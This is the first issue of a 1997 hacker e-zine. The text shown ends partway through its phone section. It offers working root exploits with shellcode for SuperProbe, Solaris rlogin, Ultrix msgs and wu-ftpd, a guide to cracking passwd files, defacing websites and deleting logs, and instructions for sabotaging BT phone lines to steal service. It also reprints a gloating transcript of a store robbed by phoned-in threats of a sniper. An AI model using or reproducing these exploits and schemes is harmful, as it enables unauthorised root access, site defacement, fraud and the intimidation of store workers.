crh001.txt100644 1751 12 511652 6355575542 10323 0ustar wheel�������������������������������������������������������������������������������
===============================================================================
=--------------------=====================================--------------------=
=--------------------= Status : Confidence Remains High. =--------------------=
=--------------------= Issue : 001. =--------------------=
=--------------------= Date : April 16th 1997. =--------------------=
=--------------------=====================================--------------------=
===============================================================================
==================> http://www.codez.com UP FUCKEN NOW!@# <==================
===============================================================================
�������������������������������������������������������������������������������
.:. Site Of The Month .:.
�������������������������������������������������������������������������������
-----------------------> http://micros0ft.paranoia.com <-----------------------
�������������������������������������������������������������������������������
In This Issue :
�������������������������������������������������������������������������������
-----=> Section A : Introduction And Cover Story.
1. Welcome To Issue 1 Of Confidence Remains High......: Tetsu Khan
2. sIn eXposed........................................: The CodeZero + Friends
-----=> Section B : Exploits And Code.
1. SuperProbe.........................................: Solar Designer
2. Ultrix Exploit.....................................: StatioN
3. Solaris 2.5 / 2.5.1 rlogin Exploit.................: Jeremy Elson
4. wu-ftpd 2.4(1) Exploit.............................: Eugene Schultz
5. portmsg.c..........................................: Some FTP Someplace..
-----=> Section C : Phones / Scanning / Radio.
1. Fast Food Restuarant Frequencies...................: Dj Gizmo
2. Robbing Stores With Phones, A Real Example.........: The CrackHouse
3. How To Rewire Your House For Free Phone Calls......: WildFire
-----=> Section D : Miscellaneous.
1. Hacking Electrical Items Part 2, The Sequel........: Tetsu Khan
2. Virus Definitions..................................: so1o
3. Fun With whois, sinnerz.com........................: so1o
4. Hacking Space Shuttles, Abort Codes................: NailGun
5. Country Domain Listing.............................: SirLance
-----=> Section E : World News.
1. CoreWars...........................................: so1o / od�phreak
2. Technophoria Want A Piece Of CodeZero Too?.........: so1o
3. Global kOS Press Release...........................: Spidey
4. www.ncaa.com Hack Makes News.......................: so1o
5. CodeZero To Release sunOS 5.x RootKit..............: so1o
6. Too Many nethosting.com Break-Ins..................: so1o
7. sulfur of #hack to print a bi-monthly magazine.....: so1o
8. 2600 Printers go bust and take $9000 with them.....: so1o
------=> Section F : Projects.
1. IP Spoofing Programs And Utilities.................: Dr_Sp00f
2. Using LinuxRootKitIII..............................: suid
-----=> Section G : The End.
�������������������������������������������������������������������������������
===============================================================================
==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]==
===============================================================================
�������������������������������������������������������������������������������
1. Welcome To Issue 1 Of Confidence Remains High : Tetsu Khan
�������������������������������������������������������������������������������
Confidence Remains High will be issued EVERY 50 DAYS as from April 16th...
It is free, not like 2600, or sulfur's soon to be released Access Denied, which
both cost *YOU*, the reader MONEY, cash, $$$ etc. which we don't like, because
information should be free, and so, we bring you Confidence Remains High, with
news, exploits, scanning, telco, and enough shit to make you wonder "why did I
ever pay cash for this?!" anyway, on with the show...
==================> http://www.codez.com UP FUCKEN NOW!@# <==================
==================> http://www.codez.com UP FUCKEN NOW!@# <==================
==================> http://www.codez.com UP FUCKEN NOW!@# <==================
Confidence Remains High is issued every 50 days as from April 16th, as then,
issue 20 will be released on New Years Day 2000 (if we go that far!)
Tetsu Khan.
�������������������������������������������������������������������������������
2. sIn eXposed : CodeZero + Friends.
�������������������������������������������������������������������������������
If you cant be bothered to read all this shit, just go to...
---------------> www.sinnerz.com/bible.htm <---------------
...And view the lameness for yourself :)
-------------------------------------------------------------------------------
Concerning the news in issue 2 of the CodeZero technical journal, we found
this response (http://www.sinnerz.com/codezero.txt) :
So has anyone here heard of Codezero? Its some ezine type shit that i just
wanted to expose as bullshit. I had never heard of it till i talked to
darkfool and he showed me... You can check it out at neonunix.org/codezero.
It is pretty good for a laugh. When me and Banshee and Messiah first read it
we all were in #sin and the first thing to come to our mind was.. wtf is this?
Some hacker gossip column or what? Even more funny was the surprise i got
when i saw that the editor was Tetsu Khan (so1o who was mentioned earlier
in the Bible)... that brought a smile to my face to see that. Anyways so
i was reading thru issue 2 of codezero and i happend to see a lot of bogus
information...stuff said that wasn't true. Same with the first issue.
Examples our comments like "Infected has some new programs coming out soon
including Utopia an encryption program by The Messiah." Anyways im doing
the algorithm for that program with Messiah and it is not going to be out
for a long time... Messiah has a lot of plans for the future all coming
before Utopia does....
Those are the exact, untouched words of HosTi�e of SiN, hmmm, lets examine
that passage more closely...
"some ezine type shit that i just wanted to expose as bullshit..."
"i was reading thru issue 2 of codezero and i happend to see a lot of bogus
information...stuff said that wasn't true..."
This is very interesting indeed, that they should care about a small news
section in the journal isn't it? seeing that we published how many lines about
them? a whole 20 I hear you say? hmm...doesn't the journal have exploits and
other stuff in it to? I think it does...
"Anyways im doing the algorithm for that program with Messiah and it is not
going to be out for a long time... Messiah has a lot of plans for the future
all coming before Utopia does...."
So then HoSti�e, you can program now? thats new, and *YOU* are coding the
algorithm? intersting... WAIT! you are saying that Utopia is true? and that
we did publish correct information? I always thought so, seeing that the truth
is that you probably wanted your beautiful new program to be a big surpise
to the "scene"...
Heh, how silly of me to actually think you had a clue! You just can't take it
that you are stuck in a lame fuck group of wannabes and the truth is finally
coming out...Let us examine more examples found on www.sinnerz.com :
It also had some shit like "4 new hacks were reported this month" and they
were right on the 4 new hacks part but they put bogus shit about them.
The catch22 one they happend to put the html for it.. well they put the
wrong shit that was on it. Becuz on the catch22 hack Darkfool had put the
names of all the SIN members on the page. Which they decided to leave out...
also They put some weird shit which they said was on the 2 hacks Darkfool did.
Where it was the entersin.gif from our page that was there with a bunch of
other links. Anyways there is also a lot of other shit that was bullshit in
both of their issues...
SHoCk HoRRoR !!!! Darkfool was responsible for the www.catch22.com hack ??
and SiN was linked to the hacks too?? That is interesting news HoSTi�e, seeing
you just could have landed one of your SiN members in trouble, as CodeZero
didn't mention any names concerning the catch22.com hack, and the very first
index.html to go up, which was the one we published was infact very correct,
its just that the index.html must have changed how many times that day?
hmmm...
"...wrong shit that was on it. Becuz on the catch22 hack Darkfool had put the
names of all the SIN members on the page. Which they decided to leave out..."
Strange...seeing another hacker, by the name of Sventa, was blamed entirely for
the attacks. Oh yeah, one last thing, in the index.html that was apparently
modified by Darkfool of SiN, there were 8 numbers, we know what they stand for,
SiN doesn't, all will be explained one day, as SiN are cl00less and need a good
kicking.
Let us continue, with a "hacking guide" taken from www.sinnerz.com :
--------------------------------------------------------------------
_________ ___ _______
\~=._ _.=~/ / _____/ | | \ \ \~=._ _.=~/
\ ~=__=~ / \_____ \ | | / | \ \ ~=__=~ /
\_.=~ ~=._/ / \ | |/ | \ \_.=~ ~=._/
_.=~ \ / ~=._ /_______ / |___|\____|__ / .=~ \ / ~=.
L------\------/------7 \/ \/ L------\------/------7
\ / \ /
\ / http://www.sinnerz.com \ /
\/ \/
OK, this is my mini guide to the easiest 'hacking' there is ( I think ) if any
one knows different then mail me and tell me :) .
Most FTP servers have the directory /pub which stores all the 'public'
information for you to download. But along side /pub you will probably find
other directorys such as /bin and /etc its the /etc directory which is
important. In this directory there is normally a file called passwd. .
This looks something like this :-
root:7GHgfHgfhG:1127:20:Superuser
jgibson:7fOsTXF2pA1W2:1128:20:Jim Gibson,,,,,,,:/usr/people/jgibson:/bin/csh
tvr:EUyd5XAAtv2dA:1129:20:Tovar:/usr/people/tvr:/bin/csh
mcn:t3e.QVzvUC1T.:1130:20:Greatbear,,,,,,,:/usr/people/mcn:/bin/csh
mouse:EUyd5XAAtv2dA:1131:20:Melissa P.:/usr/people/mouse:/bin/csh
This is where all the user names and passwords are kept. For example, root is
the superuser and the rest are normal users on the site. The bit after the
word root or mcn such as in this example (EUyd5XAAtv2dA) is the password BUT
it is encrypted. So you use a password cracker....which you can d/l from
numerous sites which I will give some URL's to at the end of this document.
With these password crackers you will be asked to supply a passwd. file which
you download from the \etc directory of the FTP server and a dictionary file
which the crackers progam will go through and try to see if it can make any
match. And as many people use simple passwords you can use a 'normal'
dictionary file. But when ppl REALLY don't want you to break their machines
they set their passwords to things such as GHTiCk45 which Random Word
Generator will create (eventually ). Which is where programs such as Random
Word Generator come in. ( Sorry just pluging my software )
BTW the bad news is that new sites NORMALLY have password files which look
like this :-
root:x:0:1:0000-Admin(0000):/:/sbin/sh
The x signifies shadowed - you can't use a cracker to crack it because there's
nothing there to crack, its hidden somewhere else that you can't get to. x is
also represented as a * or sometimes a . Ones like the top example are known
as un-shadowed password files normally found at places with .org domain or .net
and prehaps even .edu sites. (Also cough .nasa.gov cough sites).
If you want a normal dictionary file i recommend you go to
http://www.globalkos.org and download kOS Krack which
has a 3 MEG dictionary file. Then run a .passwd cracking program
such as jack the ripper or hades or killer crack ( I recommend ) against the
.passwd file and dictionary file. Depending upon the amount of passwords in
the .passwd file, the size of the dictionary file and the speed of the processor
it could be a lengthy process.
Eventually once you have cracked a password you need a basic knowledge of unix.
I have included the necassary commands to upload a different index.html file to
a server :-
Connect to a server through ftp prefably going through a few shells to hide your
host and login using the hacked account at the Login: Password: part.
Then once connected type
dir or list
If there's a directory called public_html@ or something similar change
directory using the Simple dos cd command ( cd public_html )
Then type binary to set the mode to binary transfer ( so you can send images
if necassary )
Then type put index.html or whatever the index file is called.
It will then ask which transfer you wish to use, Z-Modem is the best.
Select the file at your end you wish to upload and send it.
Thats it !
If you have root delete any log files too.
Please note that this process varys machine to machine.
To change the password file for the account ( very mean ) login in through
telnet and simply type passwd at the prompt and set the password for the
account to anything you wish.
Thats it....if ya don't understand it read it about 10x if ya still don't
ask someone else i am too busy with errrr stuff..
Links :-
http://www.sinnerz.com Where you got this I hope.
Stay cool and be somebodys fool everyone
Darkfool
[email protected]
http://www.sinnerz.com
---
Ummm, *NEWS FLASH*, lets see shall we, this tells attackers to retrieve the
passwd file using what?! FTP I hear you scream? well, lets see shall we
children, gather 'round...
"Most FTP servers have the directory /pub which stores all the 'public'
information for you to download. But along side /pub you will probably
find other directorys such as /bin and /etc its the /etc directory
which is important. In this directory there is normally a file called
passwd. . This looks something like this :-"
Oh dear, oh dear, oh dear, lets look at the FACTS :
Common FTP passwd path : /home/ftp/etc/passwd
*REAL* passwd path : /etc/passwd
Hmm, lets see, anyone with a clue would know that the FTP passwd file is not
real, it is only there to mislead little wannabes, examples iclude members of
SiN.
We continue...
"Eventually once you have cracked a password you need a basic knowledge of
unix. I have included the necassary commands to upload a different
index.html file to a server :-
Connect to a server through ftp prefably going through a few shells to hide
your host and login using the hacked account at the Login: Password: part.
Then once connected type
dir or list
If there's a directory called public_html@ or something similar change
directory using the Simple dos cd command ( cd public_html )
Then type binary to set the mode to binary transfer ( so you can send images
if necassary )
Then type put index.html or whatever the index file is called.
It will then ask which transfer you wish to use, Z-Modem is the best.
Select the file at your end you wish to upload and send it.
Thats it !"
Okay, so now, SiN defines hacking as downloading the /home/ftp/etc/passwd
which is a decoy, and then proceed to get kOS Krack (last time I checked
www.globalkos.org was down) and then try to crack the passwd file and
finally use FTP to upload an index.html? how imaginative and original, pity
all of this info you have been fed is absolute crap, with a success rate of
practically zero. One last thing...
"If you have root delete any log files too."
Umm, but you havent told all our wannabe hackers that read your shit where the
log files are found, seeing that you have to find them, delete them, then
touch them, oh yeah, I thought you were using FTP? strange...
Im sure that from these examples we have fowarded to you we have started to
prove the truth behind SiN, seeing they are actually quite lame wannabes with
very minimal skills...this has been shown, and we will continue to add to this
hall of shame for SiN, as until now, no-one has stood up to them, but now it
is time for a change. Watch this space my friends, Until next time...
T_K
I wish I was in sIn, I dew I dew! I dew!! sIn is 3r33t!! -- so1o
�������������������������������������������������������������������������������
===============================================================================
==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]==
===============================================================================
�������������������������������������������������������������������������������
1. SuperProbe : Solar Designer
�������������������������������������������������������������������������������
/*
* SuperProbe buffer overflow exploit for Linux, tested on Slackware 3.1
* by Solar Designer 1997.
*/
#include
#include
#include
char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd"
"\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40"
"\x31\xdb\xcd\x80/"
"/bin/sh"
"0";
char *get_sp() {
asm("movl %esp,%eax");
}
#define bufsize 8192
#define alignment 0
char buffer[bufsize];
main() {
int i;
for (i = 0; i < bufsize / 2; i += 4)
*(char **)&buffer[i] = get_sp() - 2048;
memset(&buffer[bufsize / 2], 0x90, bufsize / 2);
strcpy(&buffer[bufsize - 256], shellcode);
setenv("SHELLCODE", buffer, 1);
memset(buffer, 'x', 72);
*(char **)&buffer[72] = get_sp() - 6144 - alignment;
buffer[76] = 0;
execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL);
}
�������������������������������������������������������������������������������
2. Ultrix Exploit : StatioN
�������������������������������������������������������������������������������
This bug has been fixed in OSF, but not in Ultrix.
It should also work on any system that has the msgs mail alias.
$ grep msgs /etc/aliases
msgs: "|/usr/ucb/msgs -s"
Ok, the first thing to do is look in the /usr/msgs directory (or whatever
the directory is where the msgs files are kept), and see what the next msgs
file will be (if there is 1 and 2, then the next one is pretty easy to figure
out).
Then, make an executable /tmp/a that like makes a suid shell (this is pretty
easy to do, if you can't do it, don't consider yourself a hacker).
By default, newsyslog executes every 6 days at 4 am, but it depends on the
setup in crontab. What it does is age the syslog file (at /usr/adm/syslog.1,
.2, ..., i think).
symlink /usr/msgs/ -> /usr/adm/newsyslog
$ telnet
telnet> o localhost 25
mail shit, version, etc
expn msgs
250 <"| /usr/ucb/msgs -s">
mail from: <`/tmp/a`>
rcpt to: msgs
data
doesn't matter what you put here
.
quit
So now, when it writes to /usr/msgs/, it will overwrite
/usr/adm/newsyslog, and since /usr/adm/newsyslog is a shell script, it will
expand `/tmp/a` by executing /tmp/a AS ROOT, giving you an suid shell or
whatever /tmp/a does.
From there, just clean up after yourself. StatioN
�������������������������������������������������������������������������������
3. Solaris 2.5 / 2.5.1 rlogin Exploit : Jeremy Elson
�������������������������������������������������������������������������������
/*
* rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
* by exploiting the gethostbyname() overflow in rlogin.
*
* gcc -o rlogin-exploit rlogin-exploit.c
*
* Jeremy Elson,
* [email protected]
*/
#include
#include
#include
#include
#define BUF_LENGTH 8200
#define EXTRA 100
#define STACK_OFFSET 4000
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode);
long_p = (u_long *) buf;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
targ_addr = get_sp() - STACK_OFFSET;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr;
printf("Jumping to address 0x%lx\n", targ_addr);
execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
perror("execl failed");
}
�������������������������������������������������������������������������������
4. wu-ftpd 2.4(1) Exploit : Eugene Schultz
�������������������������������������������������������������������������������
This sploit is a teeny bit outdated, but I have been asked by many people about
exploiting FTP recently...
This shows you how to use the wuftp2.4(1) hole to gain root.
------------------------------------------------------------
On the VICTIM system, compile the following C code:
---------------------------------------------------
main()
{
setuid(0);
seteuid(0);
system("cp /bin/sh /tmp/suidroot");
system("chmod a+rwxs /tmp/suidroot");
}
Now create a shell script, called root.sh, that contains the following:
-----------------------------------------------------------------------
exec a.out <----- a.out is the name of the compiled C code
Now, FTP localhost, login as your account on that system and:
-------------------------------------------------------------
ftp> quote site exec sh root.sh
Then quit FTP and execute /tmp/suidroot to become root!
�������������������������������������������������������������������������������
5. portmsg.c : Some FTP Someplace..
�������������������������������������������������������������������������������
/**************************************************************************/
/* portmsg - generate a message on a port, then close connection */
/* */
/* Usage: portmsg file port */
/* */
/* When a telnet client connects to the specified port, the */
/* text from the file will be echoed to the user. After a */
/* short delay the connection will close. */
/* */
/* eg. portmsg /etc/passwd 666 */
/* */
/***************************************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
wait_on_child()
{
union wait status;
while (wait3(&status, WNOHANG, (struct rusage *) 0) > 0)
;
}
lostconn()
{
exit(1);
}
main(argc, argv)
int argc;
char *argv[];
{
int msgfd, fd, n;
struct stat statBuf;
int port;
char *msg;
int sockfd, newsockfd;
int addrlen; int opt;
struct sockaddr_in tcp_srv_addr;
struct sockaddr_in their_addr;
if (argc != 3) {
fprintf(stderr, "Usage: portmsg file port\n");
exit(1);
}
port = atoi(argv[2]);
if (port == 0) {
fprintf(stderr, "error: bad port number [%s]\n", argv[2]);
exit(1);
}
if ((msgfd = open(argv[1], O_RDONLY)) < 0) {
fprintf(stderr, "error: cannot open message file [%s]\n", argv[1]);
exit(1);
}
/* read the message */
fstat(msgfd, &statBuf);
if (statBuf.st_size <= 0) {
fprintf(stderr, "error: message file [%s] is empty\n", argv[1]);
exit(1);
}
msg = (char *)malloc(statBuf.st_size);
if (read(msgfd, msg, statBuf.st_size) != statBuf.st_size) {
fprintf(stderr, "error: cannot read message file [%s]\n", argv[1]);
exit(1);
}
/* become a daemon */
switch(fork()) {
case -1:
fprintf(stderr, "error: can't fork\n");
exit(1);
case 0:
break;
default:
exit(0);
}
if (setpgrp(0, getpid()) == -1) {
fprintf(stderr, "error: can't change process group\n");
exit(1);
}
if ((fd = open("/dev/tty", O_RDWR)) >= 0) {
ioctl(fd, TIOCNOTTY, NULL);
close(fd);
}
(void)signal(SIGCLD, wait_on_child);
bzero((char *) &tcp_srv_addr, sizeof(tcp_srv_addr));
tcp_srv_addr.sin_family = AF_INET;
tcp_srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
tcp_srv_addr.sin_port = htons(port);
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "can't create stream socket\n");
exit(-1);
}
opt = 1;
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR,
(char *) &opt, sizeof(opt)) < 0) {
perror("setsockopt");
exit(1);
}
if (bind(sockfd, (struct sockaddr *)&tcp_srv_addr,
sizeof(tcp_srv_addr)) < 0) {
fprintf(stderr, "can't bind local address\n");
exit(-1);
}
listen(sockfd, 5);
main_again:
addrlen = sizeof (their_addr);
newsockfd = accept(sockfd, (struct sockaddr *) &their_addr, &addrlen);
if (newsockfd < 0) {
if (errno == EINTR)
goto main_again;
fprintf(stderr, "accept error\n");
exit(-1);
}
switch(fork()) {
case -1:
fprintf(stderr, "server can't fork\n");
exit(-1);
case 0:
dup2(newsockfd, 0);
dup2(newsockfd, 1);
for (n = 3; n < NOFILE; n++)
close(n);
break;
default:
close(newsockfd);
goto main_again;
}
/* daemon child arrives here */
(void)signal(SIGPIPE, lostconn);
(void)signal(SIGCHLD, SIG_IGN);
fprintf(stdout, msg);
(void)fflush(stdout);
sleep(5);
exit(0);
}
�������������������������������������������������������������������������������
===============================================================================
==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]==
===============================================================================
�������������������������������������������������������������������������������
1. Fast Food Restuarant Frequencies : Dj Gizmo
�������������������������������������������������������������������������������
If you got a scanner and or transciever that works with these frequencies, then
you could have some serious phun...
-------------------------------------------------------------------------------
RESTAURANT CUSTOMER (R) CLERK (I) LOCATION
-------------------------------------------------------------------------------
Arby's 30.8400 154.5700 Nationwide
Bess Eaton Donut 457.5375 467.7625 Rhode Island
Big Boy 30.8400 154.5700 UNKNOWN OH area
457.6000 467.8250 UNKNOWN OH area
Burger King 30.8400 154.5700 UNKNOWN OH area
31.0000 170.3050 UNKNOWN GA area
33.4000 154.5400 Frederick, MD
457.5500 467.7750 Baltimore, MD area
457.5625 467.7875 Nationwide
457.5750 467.8000 UNKNOWN area
457.6000 467.8250 UNKNOWN area
460.8875 465.8875 Nationwide
461.5375 UNKNOWN UNKNOWN OH area
Burgerville 30.8400 154.5700 UNKNOWN OH area
Dairy Queen 30.8400 154.5700 UNKNOWN OH area
460.8875 465.8875 UNKNOWN OH area
920.2625 WFM UNKNOWN Halifax, Nova Scotia
Dunkin Donuts 30.8400 154.5700 UNKNOWN NH area
33.1600 154.5150 UNKNOWN NH area
33.4000 154.5400 UNKNOWN NH area
El Mexicano 464.9625 469.9625 Germantown, MD
G.D. Ritzy's 35.1000 UNKNOWN UNKNOWN OH area
Hardee's 30.8400 154.5700 Nationwide
31.0000 170.3050 UNKNOWN NC area
457.5375 467.7625 UNKNOWN OH area
460.8875 465.8875 UNKNOWN OH area
461.0875 466.0875 UNKNOWN OH area
461.1125 466.1125 Aurora, IL area
Jack in the Box 33.4000 154.5400 San Jose, CA
Kenny Rogers Roasters 469.0125 464.0125 Frederick, MD
Chicken
Kentucky Fried Chicken 30.8400 154.5700 Occoquan, VA area
31.0000 170.3050 UNKNOWN MN area
33.1400 151.8950 UNKNOWN OH area
35.0200 154.6000 Frederick, MD
457.5875 467.8125 Vienna, VA area
457.6000 467.8250 UNKNOWN OH area
460.8875 465.8875 Washington, DC area
462.7625 467.8875 Washington, DC area
McDonald's CANADA 30.8400 151.6700 main freq. Canada
30.8400 154.1450 aux. freq. Canada
McDonald's U.S.A. 30.8400 154.5700 San Diego, CA area
31.0000 170.3050 UNKNOWN OH/NC area
33.1400 151.8950 Nationwide
33.1400 170.3050 Southfield, MI area
33.4000 154.5400 Frederick, MD
33.4000 154.5700 UNKNOWN area **
35.0200 151.8950 UNKNOWN area **
35.0200 154.4900 Decatur, IN area
35.0200 154.6000 Nationwide
151.7150 169.4450 Washington, DC area
151.7450 UNKNOWN UNKNOWN OH area
151.7750 171.9050 UNKNOWN OH area
154.5700 170.2450 Nationwide
154.6000 171.1050 Nationwide
155.0000 UNKNOWN UNKNOWN OH area
457.5375 461.0875 UNKNOWN OH area
457.5500 467.7750 UNKNOWN OH area
457.6000 467.8250 UNKNOWN OH area
460.8875 465.8875 UNKNOWN OH area
461.0375 466.0375 UNKNOWN OK/CA area
461.0875 466.0875 UNKNOWN OH area
462.1625 467.1625 UNKNOWN OH area
463.2875 468.2875 UNKNOWN NY area
464.5125 UNKNOWN UNKNOWN OH area
469.0125 464.0125 Germantown, MD
469.1875 464.1875 Frederick, MD
920.5000 WFM 903.5000 WFM Gaithersburg, MD
Rally's 457.5375 468.3875 UNKNOWN OH area
461.0875 466.0875 UNKNOWN OH area
461.5375 462.1625 Holland OH area
Roy Rogers 30.8400 154.5700 Germantown, MD
457.5375 467.7625 Washington, DC area
469.0125 464.0125 Germantown, MD
469.9250 464.9250 Vienna, VA
Taco Bell 30.8400 154.5700 Washington, DC area
33.1600 154.5150 Frederick, MD
33.4000 154.5400 Germantown, MD
460.8875 465.8875 Nationwide
461.0875 466.0875 UNKNOWN OH area
461.5375 UNKNOWN UNKNOWN OH area
464.9625 469.9625 UNKNOWN OH area
469.0125 464.0125 Reston, VA
Wendy's 33.4000 154.5400 Rockville, MD
49.8300 49.8900 UNKNOWN area **
457.5125 467.7375 UNKNOWN OH area
457.5375 467.7625 UNKNOWN OH area
457.6125 467.8375 Washington, DC area
460.8875 465.8875 Nationwide
461.0875 466.0875 UNKNOWN OH area
461.8125 UNKNOWN UNKNOWN OH area
464.3750 UNKNOWN Headquarters
464.5125 UNKNOWN Columbus, OH area
White Castle 457.6000 467.8250 UNKNOWN OH area
461.8125 UNKNOWN Columbus, OH area
- Have Phun!
�������������������������������������������������������������������������������
2. Robbing Stores With Phones, A Real Example : The CrackHouse
�������������������������������������������������������������������������������
the following is a transcript of a teleconference robbery of a
Wawa convience store, all names remain the same to fully implicate the
guilty. the sad thing is this is an actual transcript.
dk: Hello, listen very carefully I'm not going to repeat myself.
manager: Who is this?
dk: Don't worry about that, listen carefully, don't interrupt.
Are you the manager and if so what is your name?
manager: yes, i'm the manager, my names kathy.
dk:ok kathy, look across the street do you see the apartment complex
directly opposite you?
manager: yes.
dk: i have a man stationed in a car in that complex's parking lot.
he has a high powerd assault rifle aimed at the individual behind the
counter. i have another man stationed adjacent to the Wawa with a cellular
phone. what's the individual's name behind the cash register?
manager: her names Lori, please don't hurt anyone.
dk: no ones going to get hurt as long as you shut the fuck up and do
exactly as i say. instruct lori that she is to keep her hands on the
counter at all times, with her palms laid out flat. shes only to move
when she must make change for a customer, do not alert any customers in
the store kathy. do you understand me?
manager: yes i understand, hold on. (kathy then instructs lori)
please promise you won't hurt anyone? please.
dk: no ones getting hurt, now we got 30 seconds kathy from when
i say go, when i say go you grab a plastic bag, fill it with all the money
in the register furthest from the doorway and open the back door and
leave all the money there, then shut and lock the door.
manager: ok ok, do you want the foodstamps?
dk: no! the foodstamps go in a seperate bag.
sulfur: and get me a gatorade.
manager: a gatorade? what kind?
sulfur: if it's not a large im gonna open fire.
manager: ok just please don't hurt anyone.
dk: ok kathy, go! (theres a rustling of bags and some background noise)
manager: ok, done, now what?
dk: kathy have you made any attempt to contact any form of law
enforcement?
manager: no i promise.
sulfur: she's lying.
dk: kathy, do you know what a digital voice analyzer is? (dk is
now completely talking out his ass)
manager: no.
dk: well we have one connected to a polygraph examiner and its
telling us your lying kathy.
manager: i swear to you im not lying!
sulfur: shoot her
dk: kathy your lying.
manager: no no im not!
dk: your lying kathy, mike, open fire open fire!
z: open fire!!
manager: LORI!! DUCK!!
*click*
everyone on the conference call: BAHAHAHAHAHAHAHAHAHA
�������������������������������������������������������������������������������
3. How To Rewire Your House For Free Phone Calls : WildFire
�������������������������������������������������������������������������������
(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)
How To Rewire You House For Free Fone Calls
In The U.K
(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)
By WildFire of AWOL
The aim is to teach you how to rewire your house to an engineer test line
for free Fone calls, you dont need any little coloured boxes etc, all you
need is a bit of patience and a lot of guts =)
EQUIPMENT -:
A B.T line into your house
Socket wrench with 1/2 inch bit
Offical looking enginner clothing (lumi jacket)
C.B radios (Optional)
STEP 1:
We need to find out some information about the your line
(Note : these numbers are not anything to do with your Fone number)
what we need to know is how it runs back to B.T
Eg. The pole outside your house is the first contact then it runs
underground to A big green box, these are called DP's
(Disconection/Connection points)
Fig 1.
House -----> Pole ------> Green box ------> B.T
\/ \/
Prefix = 46 95
The way to find this out is by sabotaging your house's fone line to get an
engininer to pay you a visit . With him he should bring a nice filo-fax with
all his jobs in (all the places he's got to visit and their line info etc.)
You now Have 3 options
(i) KILL HIM!! and steal all his neat stuff *
(ii) Act Intrested in his work and ask how he knows which line
is yours say you want to do work experience in B.T etc/etc
and he might show it to you and even explain it to you.
(iii) Sabotage your line in such a way he's got to go up your
pole , while he's trying to work out what the fuck you've done
have a look at the filo-fax and write down all your info.
* Not Recommended
There are probally other ways to get your info ie. Bullshiting the B.T depot.
or operators but they are not known my me , if anyone has any ideas i'd like
to hear from them...
STEP 2 : Decode
When you have the filo-fax in your hands flick through it, near the end should
be a page with your surname and telephone number..
below this should be the following ..........
PCP E P DP PR
15 15 360 1922 4
What we are concerned with are the DP, PCP and P
DP -- This is the pole, you can check this by going outside and looking
at it .
PCP/E -- This is the big green box have a look around your neighbourhood
not to be confused with cable green boxes !!.
P -- This is where your wire-pair are in the green box.
The other letters are probally what contact your wire-pair is on the pole etc.
Now You're Set To Go On An Adventure ..
Wait until darkness falls , Put on your funky glow in the dark jackets,
put the socket wrench in your pocket and take a visit to your local greener.
Look around for nosey OAP's or other paranoid people. I actually had the
shit kicked out of me by a large bloke who thought I was breaking into
his house because I was looking very suspect walking around the streets
stopping at the end of his road near the green box, ouch!
On the front of the box there should be 2 diamond shaped things, pull out the
wrench and undo them , the box should now open with ease..
You Should see loads of wires going all over the place. On the back of the
left door there should be a white box (like you the one you plug your fone
into back home) this is what the Enginerer uses for calls this is what we are
going to swap with your house pair .
How To Find Your Pair: There should be transparent plastic struts going from
top to bottom, they have holes (where the wires come through) with very
tiny numbers near them.
The Struts are divided up into hundreds , So if your "P" was 360 you go along
to the third strut and down until you find the tiny number 60 next to a hole.
(see fig 1.18291739)In this hole should be some wire's, with luck they should
be yours. Pull the wires out of the white-box and reconnect it to the wire
pair going to your house. (the use of radios for checking might be a good
idea)
Fig 1.18291739
100-200 200-300 300-400 400-500 500-600 600-700 700-800 800-900
� � � � � � � �
� � � � � � � �
� � � � � � � �
� � � � � � � �
� � � � � � � �
� � � � � � � �
� � � � � � � �
� � � � � � � �
� � �-360 � � � � �
� � � � � � � �
� � � � � � � �
� � � � � � � �
Go Home And See if You Have A Dial Tone .
Congratulations....
Your house is now ready for free calls ..
Dial 175 and get your new fone Number
Your old line will be in limbo so you might as well stop paying line rental,
so tell B.T to disconnect it.
Notes for use: If You're Leaving the dodgy line permanent then make
sure you hide the wires well..
If you are going to get your old line cut-off then make
sure all your wiring is back as it was before.
Don't tell Stupid People your number.
Don't call Operators etc.
When we used this method we only connected the dodgy line when we needed it,
so I don't know what will happen if left on a permenent basis ???!"*
The information in this file came from alot of Trial & Error so some facts
may be incorrect.. (Anyway it worked for us!).
